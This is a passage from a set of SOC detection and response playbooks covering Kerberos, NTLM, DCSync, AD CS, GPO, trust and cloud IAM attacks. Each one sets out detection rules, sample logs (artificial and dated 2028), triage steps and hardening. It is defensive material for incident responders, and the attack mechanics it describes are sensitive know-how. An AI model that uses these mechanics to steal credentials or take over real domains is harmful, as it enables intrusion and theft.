Lateral movement observed

9. Containment Actions

Immediate SOC Actions

Disable or reset affected service accounts
Isolate source host if compromised
Block further ticket requests if possible

Extended IR Actions

Rotate service account passwords
Convert to managed service accounts (gMSA)
Audit service account privileges
Hunt for cracked credential usage

10. Recovery & Validation

Confirm service account passwords rotated
Validate no unauthorised access occurred
Monitor for renewed TGS harvesting
Review Kerberos logs continuously

11. Prevention & Hardening

Control: Service Account Hygiene
Action: Use gMSA with long random passwords

Control: Monitoring
Action: Alert on abnormal TGS volume

Control: Least Privilege
Action: Reduce service account rights

Control: Password Policy
Action: Enforce strong, non-expiring secrets

12. Mapping to NIST Incident Response

Preparation: AD hardening and monitoring
Detection: Kerberos anomaly alert
Analysis: SPN and ticket review
Containment: Credential rotation
Eradication: Privilege cleanup
Recovery: Identity validation
Lessons Learned: Service account governance

13. SOC Perspective

Kerberoasting doesn't break AD.
It asks AD for secrets.

If service tickets are being harvested,
assume passwords are already being cracked.

Rotate fast, reduce privileges,
and expect escalation attempts next.

[CREDENTIAL ACCESS] PLAYBOOK 54: AS-REP ROASTING DETECTED – KERBEROS PRE-AUTHENTICATION ABUSE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-054

Use Case Name: AS-REP Roasting Detected

MITRE ATT&CK Tactic: Credential Access

Technique ID: T1558.004

Technique Name: AS-REP Roasting

Threat Category: Credential Access / Kerberos Abuse

Severity (Default): Critical

Escalation Severity: Critical

Applies To: Active Directory, Domain Controllers, Kerberos Infrastructure

SOC Ownership: L2 → IR Lead → AD Security

Incident Type: Offline Credential Cracking Attempt

2. Threat Description

The attacker **targets Active Directory accounts that do not require Kerberos pre-authentication.**

For these accounts, the attacker can:

- Request an AS-REP response

- Receive encrypted authentication data

- Extract the response

- Crack the password offline

This attack **does not require valid credentials** and leaves minimal traces beyond Kerberos request logs.

3. Why This Detection Matters in 2026

In 2026, AS-REP roasting remains dangerous because:

- It bypasses MFA entirely

- It requires no password guessing online

- It often targets legacy or forgotten accounts

- It is extremely stealthy

Cracked accounts are frequently reused for:

- Privilege escalation
- Lateral movement
- Service abuse
- Persistence

4. Detection Logic

Trigger alert when:

- AS-REP requests observed for user accounts
- Accounts flagged as pre-authentication disabled
- High volume of AS-REP requests from single source
- Requests originate from user workstation

Increase severity if:

- Target accounts have elevated privileges
- Multiple accounts targeted sequentially
- Activity follows AD enumeration
- Requests occur off-hours

5. Log Data

Domain Controller Security Logs

2028-01-13 02:02:19 | EVENT_ID=4768 |

user=legacy_backup | preauth_required=false

Repeated Pattern

2028-01-13 02:02:24 | EVENT_ID=4768 |

user=svc_oldapp | preauth_required=false

Clear indication of **AS-REP harvesting activity**.

6. Possible Attack Scenarios

Scenario A – Legacy Account Abuse

Attacker targets old service or backup accounts with weak passwords.

Scenario B – Silent Credential Theft

Passwords cracked offline without triggering account lockouts.

Scenario C – Privilege Escalation
Cracked account used to access sensitive systems.

7. SOC Triage Workflow

L1 Analyst – Not Applicable
This alert should **bypass L1**.

L2 Analyst – Immediate Analysis

Questions to Answer
Which accounts were targeted
Why pre-authentication is disabled
Do accounts have elevated privileges
Is there follow-on authentication activity

Immediate Checks
Account age and usage
Password strength and rotation history
Source host and user context
Recent AD discovery alerts

Decision
AS-REP roasting detected → Incident

8. Incident Escalation Criteria

Escalate to Incident when:

AS-REP roasting confirmed

Escalate to Crisis if:

Privileged accounts targeted
Successful authentication detected
Multiple accounts compromised

9. Containment Actions

Immediate SOC Actions
Disable affected accounts immediately
Reset passwords for targeted accounts
Isolate source host if applicable

Extended IR Actions
Enable Kerberos pre-authentication

Audit all accounts for pre-auth disabled
Review historical AS-REP requests
Hunt for cracked credential usage

10. Recovery & Validation

Confirm pre-authentication enforced
Validate account credentials reset
Monitor for abnormal logons
Review Kerberos logs continuously

11. Prevention & Hardening

Control: Kerberos Configuration
Action: Enforce pre-authentication for all accounts

Control: Account Hygiene
Action: Remove unused or legacy accounts

Control: Monitoring
Action: Alert on AS-REP requests

Control: Password Policy
Action: Enforce strong, long passwords

12. Mapping to NIST Incident Response

Preparation: Kerberos hardening
Detection: AS-REP anomaly alert
Analysis: Account and log review
Containment: Account disablement
Eradication: Credential rotation
Recovery: Identity validation
Lessons Learned: Legacy account cleanup

13. SOC Perspective

AS-REP roasting is quiet.
No lockouts. No alerts. Just data.

If pre-auth is disabled,
the attacker doesn't knock.

They ask once, take the secret,
and leave you to find the damage later.

BYZUMER

[CREDENTIAL ACCESS] PLAYBOOK 55: NTLM RELAY BEHAVIOUR – LLMNR / NBT-NS POISONING

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-055
Use Case Name: NTLM Relay Behaviour
MITRE ATT&CK Tactic: Credential Access
Technique ID: T1557.001
Technique Name: LLMNR/NBT-NS Poisoning
Threat Category: Credential Interception / Relay Attack
Severity (Default): High
Escalation Severity: Critical (if relay succeeds)
Applies To: Windows Networks, Active Directory Environments
SOC Ownership: L2 → IR Lead → Network & AD Security
Incident Type: Credential Relay Attack

2. Threat Description

The attacker **poisons local name resolution protocols** (LLMNR or NBT-NS) to trick systems into sending NTLM authentication requests to a malicious host.

Once captured, NTLM authentication is:

- Relayed in real time
- Used to authenticate to internal services
- Executed without cracking passwords

This allows attackers to **impersonate users and access resources** without knowing credentials.

3. Why This Detection Matters in 2026

In 2026, NTLM relay remains effective because:

- Legacy protocols still exist
- Misconfigured services accept NTLM
- SMB signing is often disabled internally

NTLM relay can enable:

- Immediate lateral movement
- Privilege escalation
- Service compromise

Without triggering traditional login failures.

4. Detection Logic

Trigger alert when:

LLMNR or NBT-NS responses originate from non-DNS hosts
NTLM authentication attempts follow name resolution poisoning
Multiple NTLM authentications relayed in short timeframe
Authentication occurs without Kerberos fallback

Increase severity if:

Relayed authentication succeeds
Target services include SMB, HTTP, LDAP
Privileged accounts involved
Activity follows AD enumeration or Kerberos abuse

5. Log Data

Network Detection Logs

2028-01-15 01:44:12 | LLMNR_POISONING |
responder=10.10.25.99 | victim=10.10.25.21

Authentication Logs

2028-01-15 01:44:18 | NTLM_AUTH |
user=svc_print | target=SMB | status=success

Clear indication of **credential relay in progress**.

6. Possible Attack Scenarios

Scenario A – Internal Lateral Movement
Attacker relays NTLM to access file servers.

Scenario B – Service Account Abuse
Relayed authentication grants access to service endpoints.

Scenario C – Privilege Escalation
Relayed admin credentials used to modify systems.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which protocol was poisoned
- Which account was relayed
- Which service accepted the authentication
- Was access successful

Immediate Checks

- DNS and name resolution configuration
- Target service NTLM settings
- Account privilege level
- Related alerts on source host

Decision

Successful NTLM relay → Escalate to L2 immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Identify poisoning source host
- Confirm relay target services
- Check for follow-on activity
- Assess privilege escalation

High-Risk Indicators

- Successful authentication without Kerberos
- Relay to LDAP or SMB
- Privileged account relay
- Multiple relay attempts

8. Incident Escalation Criteria

Escalate to Incident when:

- NTLM relay succeeds

Escalate to Critical if:

- Privileged services accessed
- Multiple hosts affected
- Persistence mechanisms installed

9. Containment Actions

Immediate SOC Actions

Isolate poisoning host
Disable NTLM on target services
Block LLMNR/NBT-NS traffic

Extended IR Actions

Reset affected account credentials
Enable SMB signing
Harden NTLM restrictions
Hunt for relay activity across network

10. Recovery & Validation

Confirm name poisoning stopped
Validate NTLM restrictions enforced
Monitor for repeated relay attempts
Ensure no unauthorised access persists

11. Prevention & Hardening

Control: Network Configuration
Action: Disable LLMNR and NBT-NS

Control: Authentication Hardening
Action: Enforce Kerberos, restrict NTLM

Control: SMB Security
Action: Enable SMB signing

Control: Monitoring
Action: Alert on name resolution poisoning

12. Mapping to NIST Incident Response

Preparation: Network and auth hardening
Detection: Relay anomaly alert
Analysis: Auth and network correlation
Containment: Protocol and host isolation
Eradication: Config remediation
Recovery: Service validation
Lessons Learned: Legacy protocol removal

13. SOC Perspective

NTLM relay doesn't steal passwords.
It steals trust.

If authentication can be replayed,
identity becomes a weapon.

Kill the legacy protocols,
or attackers will keep borrowing your users.

BYZANTINE

[PERSISTENCE] LAYBOOK 56: GOLDEN TICKET PATTERNS – FORGED KERBEROS TGTS

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-056

Use Case Name: Golden Ticket Patterns

MITRE ATT&CK Tactic: Persistence

Technique ID: T1558.001

Technique Name: Golden Ticket

Threat Category: Active Directory Compromise / Long-Term Persistence

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: Active Directory, Domain Controllers, Kerberos Infrastructure

SOC Ownership: IR Lead → AD Security → Executive Incident Management

Incident Type: Domain Compromise

2. Threat Description

The attacker **forges Kerberos Ticket Granting Tickets (TGTs)** using the compromised **KRBTGT account hash**.

With a Golden Ticket, the attacker can:

- Authenticate as any domain user
- Assign arbitrary group memberships
- Bypass password changes and MFA
- Maintain access indefinitely

This represents **full Active Directory compromise**.

3. Why This Detection Matters in 2026

In 2026, Golden Ticket usage is rare but catastrophic.

Attackers pursue it because:

- It grants unrestricted domain access
- It survives password resets
- It bypasses traditional authentication controls
- It enables stealthy long-term persistence

Once Golden Tickets exist, **the domain can no longer be trusted**.

4. Detection Logic

Trigger alert when:

Kerberos TGTs with abnormal lifetimes observed
TGTs issued without corresponding authentication events
Inconsistent PAC or SID history detected
Authentication succeeds for disabled or non-existent users

Increase severity if:

Tickets persist across password resets
Multiple hosts accept forged TGTs
Domain Admin privileges observed
Activity spans long time periods

5. Log Data

Domain Controller Security Logs

2028-01-17 02:36:12 | EVENT_ID=4768 |

user=fakeadmin | ticket_lifetime=10y | krbtgt_validation=bypassed

Authentication Log

2028-01-17 02:36:14 | LOGON_SUCCESS |

user=fakeadmin | group=Domain Admins

Clear indicator of **forged Kerberos authentication**.

6. Possible Attack Scenarios

Scenario A – Long-Term Stealth Persistence

Attacker maintains access for months or years unnoticed.

Scenario B – On-Demand Domain Control

Golden Ticket used only during specific operations.

Scenario C – Recovery Sabotage

Attacker re-enters domain after incident response.

7. SOC Triage Workflow

L1 Analyst – Not Applicable

This alert must **bypass all normal triage**.

L2 Analyst – Not Applicable

IR Lead – Immediate Control

Questions to Answer

- Is KRBTGT compromised
- How long forged tickets may exist
- Which systems accepted them
- What privileges were exercised

Immediate Checks

- Kerberos ticket lifetimes
- PAC integrity
- Authentication anomalies
- Domain-wide access logs

Decision

Golden Ticket detected → Domain Compromise Crisis

8. Incident Escalation Criteria

Always escalate to Crisis when:

- Golden Ticket usage detected

Immediate actions required:

- Executive notification
- Legal and compliance engagement
- External IR specialists
- Full domain containment

9. Containment Actions

Immediate SOC Actions

- Isolate domain controllers from network
- Disable trust relationships if possible
- Block suspicious authentication traffic

Extended IR Actions

- Reset KRBTGT account password twice
- Invalidate all Kerberos tickets
- Force reauthentication domain-wide
- Audit all domain admin activity

10. Recovery & Validation

Rebuild trust in Active Directory
Validate no forged tickets remain
Review all privileged accounts
Monitor Kerberos activity continuously

Full AD recovery may be required.

11. Prevention & Hardening

Control: KRBTGT Protection
Action: Regular KRBTGT password rotation

Control: Monitoring
Action: Alert on abnormal ticket lifetimes

Control: Tier-0 Security
Action: Harden domain controller access

Control: Incident Preparedness
Action: Golden Ticket response playbooks

12. Mapping to NIST Incident Response

Preparation: AD compromise readiness
Detection: Kerberos anomaly alert
Analysis: Ticket validation review
Containment: Domain isolation
Eradication: KRBTGT reset
Recovery: Domain trust restoration
Lessons Learned: AD security posture

13. SOC Perspective

Golden Tickets mean the keys to the kingdom
are already stolen.

Passwords don't matter. MFA doesn't matter.
Trust is gone.

Reset KRBTGT, rebuild confidence,
and assume total domain compromise until proven otherwise.

[PERSISTENCE] PLAYBOOK 57: SILVER TICKET USAGE – FORGED KERBEROS SERVICE TICKETS

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-057

Use Case Name: Silver Ticket Usage

MITRE ATT&CK Tactic: Persistence

Technique ID: T1558.002

Technique Name: Silver Ticket

Threat Category: Kerberos Abuse / Service-Level Persistence

Severity (Default): Critical

Escalation Severity: Critical

Applies To: Active Directory, Kerberos-Enabled Services (CIFS, MSSQL, HTTP, LDAP)

SOC Ownership: L2 → IR Lead → AD & Service Owners

Incident Type: Service-Level Compromise

2. Threat Description

The attacker **forges Kerberos service tickets (TGS)** using a compromised **service account password hash**, without contacting the Key Distribution Center (KDC).

This allows the attacker to:

- Authenticate directly to specific services

- Bypass domain controller validation

- Avoid central Kerberos logging

- Maintain stealthy, targeted persistence

Unlike Golden Tickets, Silver Tickets grant **access only to specific services**, but with high stealth.

3. Why This Detection Matters in 2026

In 2026, Silver Tickets are preferred for **low-noise persistence**.

Attackers use them to:

- Maintain access after incident response

- Avoid detection by KDC-based monitoring

- Target high-value services quietly

- Operate for long periods without alerts

Because the KDC is bypassed, **traditional Kerberos monitoring may not see the authentication.**

4. Detection Logic

Trigger alert when:

Service authentication succeeds without corresponding KDC ticket request
Service logs show Kerberos auth with abnormal attributes
Unusual service access patterns from compromised hosts
Authentication occurs using disabled or changed service accounts

Increase severity if:

Service account password was recently reset
Access targets sensitive services (DCs, databases)
Activity follows Kerberoasting or credential dumping
Multiple services accessed using forged tickets

5. Log Data

Service Authentication Logs

2028-01-19 01:58:44 | KERBEROS_AUTH |

service=CIFS/FS01 | user=svc_backup | kdc_contact=false

Service Access Event

2028-01-19 01:58:47 | FILE_ACCESS |

host=FS01 | user=svc_backup | action=read_all_shares

Clear indicator of **forged service ticket usage.**

6. Possible Attack Scenarios

Scenario A – Stealth File Server Access

Attacker accesses CIFS shares using forged tickets.

Scenario B – Database Persistence

Forged MSSQL service tickets used to query sensitive data.

Scenario C – Post-IR Re-Entry

Attacker maintains access after password resets using cached hashes.

7. SOC Triage Workflow

L1 Analyst – Not Applicable
This alert should **bypass L1**.

L2 Analyst – Immediate Analysis

Questions to Answer

Which service account was abused

Which service accepted the ticket

Was KDC contacted

Does service account hash exposure exist

Immediate Checks

Service account privilege level

Recent Kerberoasting or credential dump alerts

Service logs versus DC logs

Account password change history

Decision

Silver Ticket confirmed → Incident

8. Incident Escalation Criteria

Escalate to Incident when:

Forged service tickets confirmed

Escalate to Crisis if:

Service account has admin or tier-0 privileges

Multiple services compromised

Activity persists after remediation

9. Containment Actions

Immediate SOC Actions

Reset affected service account passwords

Invalidate service sessions

Restrict access to targeted services

Extended IR Actions

Rotate service account secrets everywhere

Convert service accounts to gMSA

Audit service permissions and SPNs

Hunt for additional forged ticket usage

10. Recovery & Validation

Confirm service account password rotation complete
Validate no unauthorised service access remains
Monitor services for abnormal Kerberos auth
Review service logs continuously

11. Prevention & Hardening

Control: Service Account Management
Action: Use gMSA and strong secrets

Control: Monitoring
Action: Correlate service auth with KDC logs

Control: Least Privilege
Action: Reduce service account permissions

Control: Credential Protection
Action: Prevent service account hash exposure

12. Mapping to NIST Incident Response

Preparation: Kerberos service monitoring
Detection: Service-level auth anomaly
Analysis: Service and credential review
Containment: Account rotation
Eradication: Secret hygiene
Recovery: Service validation
Lessons Learned: Service account security

13. SOC Perspective

Silver Tickets don't announce themselves.

If Golden Tickets own the domain,
Silver Tickets quietly own the services.

Watch the services, not just the KDC,
or attackers will live between the logs.

[CREDENTIAL ACCESS] PLAYBOOK 58. DCSYNC ACTIVITY – ACTIVE DIRECTORY REPLICATION ABUSE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-058

Use Case Name: DCSync Activity

MITRE ATT&CK Tactic: Credential Access

Technique ID: T1003.006

Technique Name: DCSync

Threat Category: Active Directory Credential Theft

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: Active Directory, Domain Controllers

SOC Ownership: IR Lead → AD Security → Executive Incident Management

Incident Type: Domain Credential Compromise

2. Threat Description

The attacker **impersonates a domain controller** and abuses the Active Directory replication protocol to request password hashes.

Using DCSync, the attacker can retrieve:

- NTLM password hashes

- Kerberos keys

- Password history

- Hashes for all users, including Domain Admins

This technique **does not require malware on the domain controller** and leverages legitimate replication APIs.

3. Why This Detection Matters in 2026

In 2026, DCSync is one of the **most dangerous AD attacks**.

Attackers use it because:

- It bypasses endpoint security

- It provides complete credential access

- It enables Golden Ticket creation

- It supports full domain takeover

If DCSync occurs, **assume the entire domain credential set is compromised**.

4. Detection Logic

Trigger alert when:

Directory Replication permissions used unexpectedly
Event ID 4662 observed with replication rights
Non-DC accounts request replication data
Replication initiated from workstation or server

Increase severity if:

Account is not a domain controller
Replication includes KRBTGT
Activity follows Kerberos abuse
Multiple replication requests observed

5. Log Data

Domain Controller Security Logs

2028-01-21 02:22:31 | EVENT_ID=4662 |

user=svc_backup | rights=DS-Replication-Get-Changes-All

Additional Context

2028-01-21 02:22:33 | EVENT_ID=4624 |

logon_type=3 | source=WS-044

Clear indicator of **unauthorised directory replication**.

6. Possible Attack Scenarios

Scenario A – Full Domain Credential Dump
Attacker extracts hashes for all users and admins.

Scenario B – Golden Ticket Preparation
KRBTGT hash obtained for long-term persistence.

Scenario C – Stealth Credential Theft
Replication used quietly without touching DC disk.

7. SOC Triage Workflow

L1 Analyst – Not Applicable

This alert must **bypass all normal SOC workflows.**

L2 Analyst – Not Applicable

IR Lead – Immediate Control

Questions to Answer

Which account performed replication

Which hashes were requested

How long activity persisted

Is KRBTGT compromised

Immediate Checks

Account permissions

Replication scope

Source host integrity

Related Kerberos abuse alerts

Decision

DCSync detected → Domain Compromise Crisis

8. Incident Escalation Criteria

Always escalate to Crisis when:

DCSync activity confirmed

Immediate engagement required:

Executive leadership

Legal and compliance

External incident response

Full AD recovery team

9. Containment Actions

Immediate SOC Actions

Disable account performing DCSync

Isolate source host

Block replication rights immediately

Extended IR Actions

Reset all privileged account passwords

Reset KRBTGT password twice

Invalidate Kerberos tickets domain-wide
Audit all domain admin activity

10. Recovery & Validation

Assume credential compromise across domain
Rebuild trust in Active Directory
Validate no further replication abuse
Monitor replication permissions continuously

Full domain recovery may be required.

11. Prevention & Hardening

Control: AD Permissions
Action: Restrict replication rights strictly

Control: Monitoring
Action: Alert on Event ID 4662 misuse

Control: Tier-0 Protection
Action: Isolate domain controllers

Control: Incident Preparedness
Action: Maintain DCSync response playbooks

12. Mapping to NIST Incident Response

Preparation: Domain compromise readiness
Detection: Replication anomaly alert
Analysis: Permission and scope review
Containment: Account and rights removal
Eradication: Credential reset
Recovery: Domain trust restoration
Lessons Learned: AD permission governance

13. SOC Perspective

DCSync is not reconnaissance.
It is theft at the highest level.

If replication is abused,
every password is already gone.

Treat this as a domain breach,
because that's exactly what it is.

BYZEMER

[PRIVILEGE ESCALATION] PLAYBOOK 59: AD CS ABUSE – CERTIFICATE-BASED PRIVILEGE ESCALATION

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-059

Use Case Name: AD CS Abuse

MITRE ATT&CK Tactic: Privilege Escalation

Technique ID: T1649

Technique Name: Steal or Forge Certificates

Threat Category: Certificate-Based Privilege Escalation / AD Abuse

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: Active Directory Certificate Services, PKI Infrastructure

SOC Ownership: IR Lead → AD Security → PKI Team → Executive Incident Management

Incident Type: Domain Privilege Compromise

2. Threat Description

The attacker **abuses misconfigured Active Directory Certificate Services (AD CS)** to obtain authentication certificates that can be used to impersonate high-privilege users.

Common abuse paths include:

- Enrolling certificates for other users
- Using vulnerable certificate templates
- Abusing ESC1–ESC8 misconfigurations
- Mapping certificates to privileged accounts

With a forged or stolen certificate, the attacker can **authenticate as Domain Admin without knowing a password**.

3. Why This Detection Matters in 2026

In 2026, AD CS abuse is one of the **most overlooked but powerful escalation techniques**.

Attackers prefer certificates because:

- They bypass password and MFA controls
- They persist across password resets
- They blend into legitimate PKI operations
- They often survive partial remediation

Once certificates are abused, **identity trust collapses silently**.

4. Detection Logic

Trigger alert when:

- Certificate enrollment requested for privileged accounts
- Enrollment from non-admin hosts
- Abnormal certificate template usage
- Authentication using unexpected certificate mappings

Increase severity if:

- Certificates issued to Domain Admins
- Templates allow client authentication improperly
- Enrollment follows AD enumeration or DCSync
- Multiple certificates issued rapidly

5. Log Data

Certificate Authority Logs

2028-01-23 02:47:11 | CERT_ENROLL |

requester=john.doe | template=UserAuth | subject=Administrator

Authentication Event

2028-01-23 02:47:14 | KERBEROS_CERT_AUTH |

user=Administrator | auth_type=certificate

Clear indication of **certificate-based impersonation**.

6. Possible Attack Scenarios

Scenario A – ESC1 Template Abuse

Attacker enrolls certificate for Domain Admin via misconfigured template.

Scenario B – Long-Term Persistence

Certificates reused after password resets.

Scenario C – Stealth Domain Control

Attacker authenticates without touching passwords or hashes.

7. SOC Triage Workflow

L1 Analyst – Not Applicable

This alert must **bypass all normal SOC tiers.**

L2 Analyst – Not Applicable

IR Lead – Immediate Control

Questions to Answer

Which templates are vulnerable

Which certificates were issued

Which accounts were impersonated

Is certificate revocation in place

Immediate Checks

CA configuration

Template permissions

Issued certificate list

Authentication events

Decision

AD CS abuse detected → Domain Compromise Crisis

8. Incident Escalation Criteria

Always escalate to Crisis when:

Certificate-based impersonation detected

Immediate engagement required:

Executive leadership

Legal and compliance

External IR specialists

PKI and AD owners

9. Containment Actions

Immediate SOC Actions

Revoke all suspicious certificates

Disable vulnerable templates

Block certificate-based auth temporarily

Extended IR Actions

Audit all AD CS templates

Reset affected account credentials

Reissue CA certificates if necessary
Invalidate trust chains

10. Recovery & Validation

Confirm no unauthorised certificates remain
Validate certificate revocation
Monitor PKI logs continuously
Review all certificate-based auth events

In some cases, **full PKI rebuild is required.**

11. Prevention & Hardening

Control: AD CS Hardening
Action: Remove vulnerable templates

Control: Monitoring
Action: Alert on certificate enrollment anomalies

Control: Identity Governance
Action: Limit certificate-based auth

Control: PKI Reviews
Action: Regular AD CS security assessments

12. Mapping to NIST Incident Response

Preparation: PKI security readiness
Detection: Certificate anomaly alert
Analysis: Template and auth review
Containment: Certificate revocation
Eradication: PKI remediation
Recovery: Trust restoration
Lessons Learned: Certificate governance

13. SOC Perspective

Passwords can be reset.
Hashes can be rotated.

Certificates are different.

If attackers control certificates,
they control identity itself.

Lock down AD CS,
or everything else becomes irrelevant.

BYZZMER

[PERSISTENCE] PLAYBOOK 60: GPO MODIFICATION – DOMAIN-WIDE PERSISTENCE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-060

Use Case Name: GPO Modification

MITRE ATT&CK Tactic: Persistence

Technique ID: T1484.001

Technique Name: GPO Modification

Threat Category: Domain-Wide Persistence / Configuration Abuse

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: Active Directory, Group Policy Infrastructure

SOC Ownership: IR Lead → AD Team → Endpoint Team → Executive Management

Incident Type: Enterprise Persistence

2. Threat Description

The attacker **modifies Group Policy Objects (GPOs)** to enforce malicious or insecure configurations across the entire domain.

Common malicious changes include:

- Deploying startup or logon scripts
- Pushing malware via scheduled tasks
- Disabling antivirus or firewall settings
- Weakening authentication policies
- Creating new local admin users on endpoints

Once deployed, GPO-based attacks **automatically reapply** even after cleanup unless the policy itself is fixed.

3. Why This Detection Matters in 2026

GPO abuse is extremely dangerous because:

- It scales instantly across thousands of systems
- It persists silently through reboots
- It bypasses endpoint-level remediation
- It blends into normal IT administration

In 2026, attackers favour **configuration-based persistence** over noisy malware.

4. Detection Logic

Trigger alert when:

- GPO modified outside change window
- GPO edited by non-IT or abnormal account
- Startup, logon or scheduled task settings added
- Security policies weakened suddenly

Increase severity if:

- Linked to Domain Admin account
- Affects critical OUs (Servers, Domain Controllers)
- Multiple GPOs modified rapidly
- GPO pushes executable or script content

5. Log Data

Active Directory Log

2028-02-14 01:32:44 | GPO_MODIFY |

gpo=Default Domain Policy | editor=svc_backup

GPO Change Detail

2028-02-14 01:33:01 | GPO_SETTING |

StartupScript=\\filesrv\\sysvol\\update.ps1

Clear indication of **malicious domain-wide enforcement**.

6. Possible Attack Scenarios

Scenario A – Malware Deployment

Startup scripts deploy payloads to all endpoints.

Scenario B – Security Degradation

GPO disables Defender, EDR or firewall rules.

Scenario C – Persistent Backdoor

Scheduled task created on every machine.

7. SOC Triage Workflow

L1 Analyst – Detect
Confirm GPO change alert

L2 Analyst – Validate
Identify modified settings
Determine affected OUs

IR Lead – Take Control

Questions to Answer
Which GPO was modified
Who modified it
What settings were changed
How many systems are impacted

Decision
GPO modification → Domain Persistence Incident

8. Incident Escalation Criteria

Always escalate when:

Security-related GPO modified
Startup/logon scripts introduced
Domain Controllers affected

Notify immediately:

AD owners
Endpoint owners
Management
Legal and compliance if required

9. Containment Actions

Immediate Actions
Disable affected GPO
Unlink from OUs
Block attacker account

Short-Term Actions
Restore GPO from known-good backup
Force GP update after cleanup

Critical Note
Do not simply delete scripts without fixing GPO source.

10. Recovery & Validation

Verify restored GPO integrity
Confirm no malicious scripts remain
Audit SYSVOL for rogue files
Force gpupdate /force on endpoints

Monitor for re-application attempts.

11. Prevention & Hardening

Control: GPO Change Control
Action: Approval-based GPO edits

Control: Monitoring
Action: Alert on all GPO changes

Control: Privilege Reduction
Action: Limit Domain Admin usage

Control: Backup
Action: Regular GPO backups

12. Mapping to NIST Incident Response

Preparation: GPO governance
Detection: GPO modification alert
Analysis: Policy impact review
Containment: Disable GPO
Eradication: Remove malicious config
Recovery: Restore trusted policies
Lessons Learned: AD privilege review

13. SOC Perspective

If malware hits one machine,
you clean one machine.

If GPO is compromised,
the whole domain is infected by design.

GPO abuse is not malware.
It is **weaponised administration**.

[PRIVILEGE ESCALATION] PLAYBOOK 61: DOMAIN TRUST ABUSE

– CROSS-DOMAIN LATERAL MOVEMENT

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-061

Use Case Name: Trust Abuse Detected

MITRE ATT&CK Tactic: Lateral Movement

Technique ID: T1482

Technique Name: Domain Trust Discovery

Threat Category: Cross-Domain Lateral Movement / Identity Abuse

Severity (Default): High

Escalation Severity: Critical → Crisis (if privileged accounts involved)

Applies To: Active Directory Forests, Domain Trusts

SOC Ownership: IR Lead → AD Team → Identity Team → Executive Management

Incident Type: Multi-Domain Compromise

2. Threat Description

The attacker **abuses existing domain or forest trust relationships** to pivot laterally between environments.

This does not require exploiting vulnerabilities.

Instead, the attacker leverages:

Transitive trusts

Bidirectional trusts

Misconfigured selective authentication

Over-privileged service accounts

Inherited permissions across forests

Once inside one domain, the attacker uses trust paths to **access another domain as if legitimately authorised**.

3. Why This Detection Matters in 2026

In modern enterprises:

Mergers and acquisitions create complex trusts

Hybrid AD and cloud identities expand trust boundaries

Legacy trusts are rarely reviewed

In 2026, attackers prefer **trust abuse** because:

No exploit required
Minimal malware footprint
Hard to detect with endpoint tools
Looks like legitimate authentication

Trust abuse turns **one breach into many**.

4. Detection Logic

Trigger alert when:

Authentication crosses domain/forest boundaries unexpectedly
Non-admin accounts access trusted domains
Service accounts authenticate across forests
Kerberos tickets issued for foreign domains

Increase severity if:

Domain Admin privileges traverse trust
Authentication originates from compromised host
Trust path not documented
Access reaches production or Tier 0 assets

5. Log Data

Kerberos Authentication Log

2028-03-08 03:12:27 | KRB_TGS_REQUEST |

user=svc_app | source_domain=CORP.LOCAL | target_domain=FINANCE.LOCAL

Trust Enumeration Activity

2028-03-08 03:10:54 | TRUST_QUERY |

initiator=john.doe | action=enumerate_trusts

Clear sign of **trust discovery followed by pivot**.

6. Possible Attack Scenarios

Scenario A – Forest Pivot

Attacker compromises user in one forest and pivots to another via transitive trust.

Scenario B – Service Account Abuse

Over-privileged service account used across domains.

Scenario C – Silent Expansion

Attacker maps entire organisation by hopping trusts without malware.

7. SOC Triage Workflow

L1 Analyst – Detect

Confirm cross-domain authentication anomaly

L2 Analyst – Validate

Identify trust type

Review normal trust usage

IR Lead – Take Control

Questions to Answer

Which trust was abused

Who authenticated across domains

What privileges were gained

Which assets were accessed

Decision

Unexpected trust usage → Lateral Movement Incident

8. Incident Escalation Criteria

Escalate immediately when:

Tier 0 assets accessed

Domain Admin involved

Multiple domains affected

Trust traversal combined with credential abuse

Notify:

AD owners (all domains)

Identity governance

Senior management

9. Containment Actions

Immediate Actions

Disable affected accounts

Restrict trust authentication temporarily

Block cross-domain access paths

Short-Term Actions

Convert trusts to selective authentication
Remove unnecessary transitive trusts
Rotate service account credentials

Critical Note

Breaking trusts can impact business operations – coordinate carefully.

10. Recovery & Validation

Verify trust configurations
Audit authentication across all domains
Confirm no persistent tickets remain
Monitor Kerberos activity post-containment

Trust recovery must be **controlled and documented**.

11. Prevention & Hardening

Control: Trust Governance
Action: Regular trust reviews

Control: Privilege Management
Action: Reduce cross-domain permissions

Control: Monitoring
Action: Alert on trust traversal

Control: Identity Architecture
Action: Tiered AD model

12. Mapping to NIST Incident Response

Preparation: Trust inventory
Detection: Cross-domain auth alert
Analysis: Trust path review
Containment: Restrict trust
Eradication: Credential rotation
Recovery: Controlled trust re-enablement
Lessons Learned: Identity segmentation

13. SOC Perspective

Trusts exist for business.

Attackers use them for movement.

If you don't control trust paths,
you don't control your perimeter.

In multi-domain environments,
identity **is** the network.

BYZANTINE

[PRIVILEGE ESCALATION] PLAYBOOK 62: CLOUD IAM ROLE ESCALATION – PRIVILEGE ESCALATION VIA IDENTITY MANIPULATION

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-062

Use Case Name: Cloud IAM Role Escalation

MITRE ATT&CK Tactic: Privilege Escalation

Technique ID: T1098

Technique Name: Account Manipulation

Threat Category: Cloud Identity Abuse / Privilege Escalation

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: AWS IAM, Azure Entra ID, GCP IAM, SaaS IAM

SOC Ownership: IR Lead → Cloud Security → Identity Team → Executive Management

Incident Type: Cloud Control Plane Compromise

2. Threat Description

The attacker **modifies cloud IAM roles, policies or assignments** to escalate privileges and gain administrator-level control.

This typically occurs after:

Credential theft or token compromise

OAuth consent abuse

API key exposure

Service account compromise

Instead of deploying malware, the attacker **becomes the administrator**.

3. Why This Detection Matters in 2026

